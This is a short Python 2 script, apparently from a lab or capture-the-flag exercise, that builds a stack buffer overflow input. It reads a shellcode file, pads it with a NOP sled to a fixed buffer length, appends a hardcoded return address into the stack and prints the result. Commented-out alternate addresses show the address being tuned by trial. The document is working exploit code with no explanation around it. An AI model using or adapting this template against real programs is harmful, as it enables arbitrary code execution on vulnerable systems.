exploit.py

#! /usr/bin/env python2

import sys, struct


ret_addr = 0x7fffffffe870
# 0x7fffffffe150 #0x4014e2 # 0x7fffffffe650 #0x7fffffffe310
buf_len = 0xe8
payload = open('/home/currentanalyst/givenFile/payload.bin').read()
buf =  payload + ('\x90' * (buf_len - len(payload))) \
    	+ struct.pack('<Q', ret_addr)
sys.stdout.write(buf)